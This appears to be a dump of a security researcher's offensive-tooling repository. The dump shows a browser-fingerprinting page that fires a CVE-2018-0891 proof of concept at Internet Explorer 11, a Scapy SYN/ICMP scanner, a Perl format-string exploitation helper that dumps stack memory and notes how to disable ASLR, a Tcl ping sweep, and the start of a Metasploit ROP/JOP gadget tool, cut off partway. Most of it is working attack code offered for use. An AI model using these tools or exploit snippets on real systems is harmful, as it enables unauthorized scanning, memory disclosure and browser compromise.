├── Browser_FingerPwn.html ├── FWeScap.py ├── FormatStringTool.pl ├── ICMPHostDiscovery.tcl ├── Msfrop_Enhanced ├── PBX_FingerPrint.pl ├── Powershell_Without_Powershell.cs ├── README.md ├── RequestViewer.pl ├── SCP.pl ├── Securizer.pl ├── Shellc0deLoader.cs ├── Shellcode.csproj ├── ShellcodeExtractor.py ├── TFTP-Fuzzer.rb ├── binjitsuFS.py ├── poc_cve_2015_0235.c ├── wmic-poc.xsl ├── wp-xmlrpc-user-bf.pl └── xmlrpc.pl /Browser_FingerPwn.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 87 | 88 | 89 | 90 | // Browser 91 | var edge = /edge/i; 92 | 93 | // Fingerprinting (to complete for browsers versions) 94 | if (win7.test(useragent)){ 95 | document.write("Win7 detected
"); 96 | 97 | //if win7 + I.E 11: 98 | cve_2018_0891(); 99 | } 100 | else if (win8.test(useragent)){ 101 | document.write("Win8 detected
"); 102 | document.write(useragent); 103 | } 104 | else if (win8_1.test(useragent)){ 105 | document.write("Win8.1 detected
"); 106 | document.write(useragent); 107 | } 108 | else if (win10.test(useragent)){ 109 | document.write("Win10 detected
"); 110 | document.write(useragent); 111 | 112 | if (edge.test(useragent)){ 113 | document.write("
Edge detected
Launching exploit ...
"); 114 | cve_2018_8495(); 115 | } 116 | }else{ 117 | document.write("Unable to fingerprint browser version
No exploit for you :-*
"); 118 | } 119 | 120 | // Payloads (todo) 121 | function cve_2018_8495(){ 122 | document.body.innerHTML ='Exploit !'; 123 | return 0; 124 | } 125 | 126 | function cve_2018_0891(){ 127 | 128 | // PoC only 129 | function main() { 130 | RegExp.input = {toString: f}; 131 | alert(RegExp.lastMatch); 132 | } 133 | 134 | var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join(""); 135 | 136 | function f() { 137 | String.prototype.match.call(input, "bbbbbbbbbb"); 138 | } 139 | main(); 140 | } 141 | 142 | 143 | 144 | -------------------------------------------------------------------------------- /FWeScap.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | import sys, getopt 4 | 5 | # Set log level to benefit from Scapy warnings 6 | import logging 7 | logging.getLogger("scapy").setLevel(1) 8 | 9 | from scapy.all import * 10 | 11 | 12 | 13 | def Usage(): 14 | print("[-] Missing argument !") 15 | 16 | 17 | def Tcp(proto, targ): 18 | print "[+]Sending tcp!", proto, "request on", targ 19 | 20 | start= 20 21 | end = 50 22 | for dport in range(start, end): 23 | 24 | # Generate random source port number 25 | sport=RandNum(1024,65535) 26 | 27 | print "Tryning request on port number== ", dport 28 | res, unans = sr(IP(dst=targ)/TCP(sport=sport,dport=dport,flags="S"),inter=0.5,retry=-2,timeout=1) 29 | #~ ans,unans 30 | res.summary() 31 | #sending.show() 32 | #~ if Req: 33 | 34 | #~ print Req.dport, Req.seq 35 | #~ ans,unans 36 | #~ ans.summary() 37 | 38 | 39 | 40 | 41 | 42 | def Udp(proto, targ): 43 | print "woot udp!", proto 44 | 45 | 46 | def Arp(proto, targ): 47 | print "woot arp!" 48 | 49 | 50 | def Icmp(proto, targ): 51 | print "[+]Sending", proto, "request on ", targ 52 | 53 | 54 | # Basic ICMP request: 55 | ping=sr1(IP(dst=targ)/ICMP()) 56 | if ping: 57 | ping.show() 58 | 59 | 60 | 61 | 62 | 63 | def main(argv): 64 | 65 | # Default values: 66 | target= "127.0.0.1" 67 | protocol= "icmp" 68 | 69 | try: 70 | opts, args = getopt.getopt(argv, "ht:p:", ["help", "target=", "protocol="]) 71 | 72 | except getopt.GetoptError: 73 | Usage() 74 | sys.exit(2) 75 | 76 | for opt, arg in opts: 77 | 78 | # Usage/help called: 79 | if opt in ('-h', '--help'): 80 | print"help" 81 | Usage() 82 | sys.exit() 83 | 84 | 85 | elif opt in ('-t', '--target'): 86 | target=arg 87 | 88 | elif opt in ('-p', '--protocol'): 89 | protocol = arg 90 | 91 | # Switch/case: 92 | if protocol == "tcp": 93 | Tcp(protocol, target) 94 | elif protocol == "icmp": 95 | Icmp(protocol, target) 96 | elif protocol == "udp": 97 | Udp(protocol, target) 98 | elif protocol == "arp": 99 | Arp(protocol, target) 100 | 101 | else: 102 | assert False, "unknow or invalid options" 103 | 104 | 105 | 106 | 107 | 108 | if __name__ == "__main__": 109 | main(sys.argv[1:]) 110 | 111 | 112 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /FormatStringTool.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -wU 2 | 3 | # Modules: 4 | use strict; 5 | use Pod::Usage; 6 | use Getopt::Long; 7 | use Switch 'Perl6'; 8 | use Term::ANSIColor; 9 | 10 | # Features: 11 | use feature 'say'; 12 | use feature 'switch'; 13 | 14 | # Constants: 15 | use constant MAX_LONG => 900; 16 | use constant TRUE => 1; 17 | use constant FALSE => 0; 18 | 19 | 20 | # No stack cookies (not required): gcc -fno-stack-protector -o bin1 bin1.c 21 | # No ASLR (not required): echo 0 > /proc/sys/kernel/randomize_va_space 22 | # 23 | # Usage: 24 | # ./FS_Offset_discovery.pl --verbose=1 --pattern=44434241 -b=bin1 --junk=ABCD 25 | # 26 | # Flag example= 61-74617461-6c707968 27 | 28 | 29 | 30 | 31 | my $result = GetOptions( 32 | 'binary|b=s' => \my $BinName, 33 | 'verbose|v=i' => \my $Verbose, 34 | 'pattern|p=s' => \my $Pattern, 35 | 'junk|j=s' => \my $Junk, 36 | ); 37 | 38 | pod2usage(1) if(not defined($BinName && $Verbose)); 39 | 40 | $Pattern="41414141" if(not defined($Pattern)); 41 | $Junk="AAAAAA" if(not defined($Junk)); 42 | 43 | my $GetOffset="%x"; 44 | my $Base; 45 | 46 | # Check ASLR status: 47 | my $GetASLR = IO::File->new("/proc/sys/kernel/randomize_va_space", "r"); 48 | my $ASLRState = <$GetASLR> if(defined($GetASLR)); 49 | $GetASLR->close; 50 | print colored("\n[*] Checking ASLR security ...",'green'); 51 | 52 | SWITCH: 53 | given ($ASLRState) { 54 | when(0){ say colored(" No ASLR detected: have fun!",'bold green');} 55 | when(/1|2|3/){ say colored(" ASLR detected !",'bold yellow');} 56 | default{ say colored(" ASLR parameter: Not Found!",'bold red');} 57 | } 58 | 59 | MAIN_CODE: 60 | if ($Verbose eq TRUE){ 61 | 62 | for($Base=0;$Base <= MAX_LONG; $Base++){ 63 | my $Exec=qx{./$BinName $Junk$GetOffset}; 64 | say colored("-Trying with $Base format arguments... $BinName $Junk$GetOffset",'blue'); 65 | 66 | say("- Current offsets: $Exec\n"); 67 | 68 | last if($Exec =~ /$Pattern/gi); 69 | say colored("[-] No match found",'red'); 70 | $GetOffset .= "%x-"; 71 | } 72 | exit(FALSE) if($Base eq MAX_LONG); 73 | 74 | PATTERN_FOUND: 75 | PatternOk(); 76 | OffsetExplore(); 77 | BruteForceStack(); 78 | SimpleHexAsciiConvertion(); 79 | 80 | } 81 | elsif($Verbose eq FALSE ){ 82 | 83 | for($Base=0;$Base <= MAX_LONG; $Base++){ 84 | my $Exec=qx{./$BinName $Junk$GetOffset}; 85 | last if($Exec =~ /$Pattern/gi); 86 | $GetOffset .= "%x-"; 87 | } 88 | if($Base eq MAX_LONG){ 89 | say colored("[-] No match found",'red'); 90 | exit(FALSE); 91 | } 92 | 93 | PATTERN_FOUND: 94 | PatternOk(); 95 | OffsetExplore(); 96 | BruteForceStack(); 97 | SimpleHexAsciiConvertion(); 98 | 99 | 100 | } 101 | 102 | 103 | 104 | ######################################### 105 | # Functions # 106 | ######################################### 107 | 108 | 109 | 110 | sub SimpleHexAsciiConvertion{ 111 | 112 | say("Do You want to convert hex data to ascii ? [Y|N]"); 113 | my $Convert=; 114 | chomp($Convert); 115 | 116 | if($Convert =~ /y/i){ 117 | 118 | print colored("[+] Please enter pseudo offset or other hex value to convert (offset is the index value, see help for more informations): \n Hex: ",'blue'); 119 | my $ToConvert=; 120 | chomp($ToConvert); 121 | $ToConvert=~ s/[-]//g; 122 | die colored("What are ou trying to do ?? \n",'red') if(!($ToConvert)); 123 | 124 | my $ConvertToAscii= pack "H*", "$ToConvert"; 125 | $ConvertToAscii=reverse($ConvertToAscii); 126 | say colored ("- Converted data in ASCII (Little Endian's value must be reversed, see help for more informations): $ConvertToAscii\n",'yellow'); 127 | } 128 | } 129 | 130 | 131 | sub BruteForceStack{ 132 | 133 | say("Do You want to read stack value by bruteforce method ? [Y|N]"); 134 | my $Bf=; 135 | chomp($Bf); 136 | 137 | if($Bf =~ /y/i){ 138 | for(my $Limit=0;$Limit <= 280;$Limit++){ 139 | my $Dumping =qx{./$BinName $Junk%$Limit\\\$s}; 140 | next if(not($Dumping) || $Dumping =~ /fault/); 141 | print colored("- Current value (limite: $Base) = ",'blue'); 142 | say $Dumping; 143 | } 144 | } 145 | } 146 | 147 | sub OffsetExplore{ 148 | 149 | say("Do You want to dump an offset data ? [Y|N]"); 150 | my $ReadOffset=; 151 | chomp($ReadOffset); 152 | 153 | say("Do You want to collect Offsets (very verbose!) ? [Y|N]"); 154 | my $CollectOffset=; 155 | chomp($CollectOffset); 156 | 157 | if($CollectOffset =~ /y/i){ 158 | my $Collect=qx{./$BinName $Junk$GetOffset}; 159 | 160 | die if(($Collect !~ /bf|08/) || (not($Collect))); 161 | $Collect =~ s/-/ [OFFSETs] with index: $Base\n/g; 162 | say($Collect); 163 | } 164 | 165 | if($ReadOffset =~ /y/i){ 166 | 167 | print colored("[+] Please enter offset to read (offset is the index value, see help for more informations): ",'blue'); 168 | my $Offset=; 169 | chomp($Offset); 170 | die colored("What are ou trying to do ?? \n",'red') if(!($Offset)); 171 | my $DumpOffset =qx{./$BinName $Junk%$Offset\\\$s}; 172 | say ("- Collected data (ascii): $DumpOffset\n"); 173 | } 174 | } 175 | 176 | sub PatternOk{ 177 | 178 | print colored("\n[+] Pattern found with $Base format arguments: \n Payload used:\n",'green'); 179 | my $NewBase=$Base-1; 180 | say ("$Junk$GetOffset\n"); 181 | print colored("[+] Shortcut to get custom stack value: ./$BinName",'green'); 182 | say colored(" $Junk"."AA"."%$NewBase\\\$"."x \n",'bold green'); 183 | } 184 | 185 | 186 | 187 | =info 188 | 189 | 190 | [1] Description: 191 | 192 | Tool developped for Format Strings (local) automation. 193 | This Version permit you to collect a lot of infomations and to dump a lot of 194 | memory data bypassing ASLR (if any). 195 | 196 | 197 | [2] Possibilities / Functions: 198 | 199 | - Check ASLR state 200 | - Build a payload start (with padding) 201 | - Collect all offsets in stack once index was found 202 | - Dump an offset data (in ASCII) 203 | - Print all stack value (in ASCII) by bruteforce method 204 | - Convert hex data in ascii (for offset wich are data ;) ) 205 | 206 | [3] Parameters / Oprions: 207 | 208 | This tool require parameters and uses some optional. 209 | 210 | - Required: 211 | 212 | - verbose (v) : booleans values 1 or 0 213 | - binary (b) : vulerable binary name 214 | 215 | - Optional: 216 | 217 | - junk (j) : junk data like "AAAAA" used for adjustment (padding) 218 | - pattern (p) : pattern to match (like 41414141) 219 | 220 | - Default values: 221 | 222 | 1) junk default = AAAAAA 223 | 2) pattern default = 41414141 224 | 225 | [4] Example: 226 | 227 | ./FS_ExploitTool.pl --verbose=1 --pattern=414141 -b=bin2 --junk=AAAAAA 228 | 229 | [5] FS_ExploitTool todo list: 230 | 231 | - Build a full payload 232 | - Have choice between many possible payloads 233 | - Make it possible to exploit easily 234 | 235 | [6] Contact (to whip me \o/): 236 | 237 | -Emails: 238 | kmkz[at]tuxfamily[dot]org (for fun) 239 | mail[dot]bourbon[at]gmail[dot]com 240 | 241 | -Tweeter: kmkz_security 242 | -linkedin: 243 | [FR] linkedin.com/pub/jean-marie-bourbon/56/928/469 244 | [EN] linkedin.com/pub/jean-marie-bourbon/56/928/469/en 245 | -IRC nickname: kmkz 246 | 247 | 248 | =cut 249 | 250 | 251 | __END__ 252 | -------------------------------------------------------------------------------- /ICMPHostDiscovery.tcl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/tclsh 2 | 3 | 4 | 5 | 6 | #kmkz@kali:~/Desktop# ./testIP.tcl 7 | #--| Please give-me the IP range to test (example: 192.168.1) |-- 8 | #192.168.1 9 | #* Discovering hosts for 192.168.1.* 10 | #192.168.1.1 11 | #192.168.1.2 12 | #192.168.1.3 13 | #192.168.1.4 14 | #192.168.1.5 15 | #192.168.1.6 16 | 17 | 18 | 19 | puts -nonewline "--| Please give-me the IP range to test (example: 192.168.1) |-- \n" 20 | flush stdout 21 | set iprange [gets stdin] 22 | 23 | puts "* Discovering hosts for $iprange.*\n" 24 | 25 | for { set i 1 } { $i < 254 } { incr i } { 26 | puts "trying $iprange.$i" 27 | 28 | # Ios version: 29 | #if { 30 | #[regexp "(!!!)" [exec "ping $iprange.$i timeout 1" ]] 31 | #} { 32 | 33 | # Linux version: 34 | if { 35 | [regexp "(=)" [exec "ping $iprange.$i" ]] 36 | } { 37 | puts "$iprange.$i : up!" 38 | } 39 | else{ 40 | puts "$iprange.$i : down!" 41 | } 42 | } 43 | # exec ping "$iprange.$i timeout 1" 44 | #eval $command 45 | } 46 | -------------------------------------------------------------------------------- /Msfrop_Enhanced: -------------------------------------------------------------------------------- 1 | #!/opt/metasploit/ruby/bin/framework-ruby 2 | # -*- coding: binary -*- 3 | # 4 | # $Id$ 5 | # 6 | # This tool will collect, export, and import ROP and JOP gadgets 7 | # from various file formats (PE, ELF, Macho) 8 | # $Revision$ 9 | # 10 | # Jop Gadgets support by Bourbon Jean-marie (kmkz): 11 | # [1.0] Added JoP gadget research (July 2014) 12 | # [1.1] Jump Far (jmpf) support, Initializer gadget research, call gadgets optimisations (November 2014) 13 | # [1.2] Basic dispatcher (add + jmp) gadget research and optimisations (August 2015) 14 | 15 | 16 | msfbase = __FILE__ 17 | while File.symlink?(msfbase) 18 | msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) 19 | end 20 | 21 | $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) 22 | require 'msfenv' 23 | 24 | $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] 25 | 26 | require 'rex' 27 | require 'rex/ropbuilder' 28 | require 'rex/ui/text/output/stdio' 29 | require 'rex/ui/text/color' 30 | require 'optparse' 31 | 32 | def opt2i(o) 33 | o.index("0x")==0 ? o.hex : o.to_i 34 | end 35 | 36 | opts = {} 37 | color = true 38 | 39 | # Set options: 40 | opt = OptionParser.new 41 | opt.banner = "\n 42 | *************************************************** 43 | * [MSFROP enhanced version v1.1] * 44 | * Jop Gadgets support by Bourbon Jean-marie (kmkz)* 45 | * For more info please refer to msfrop headers * 46 | ***************************************************\n 47 | [+] Usage #{$PROGRAM_NAME}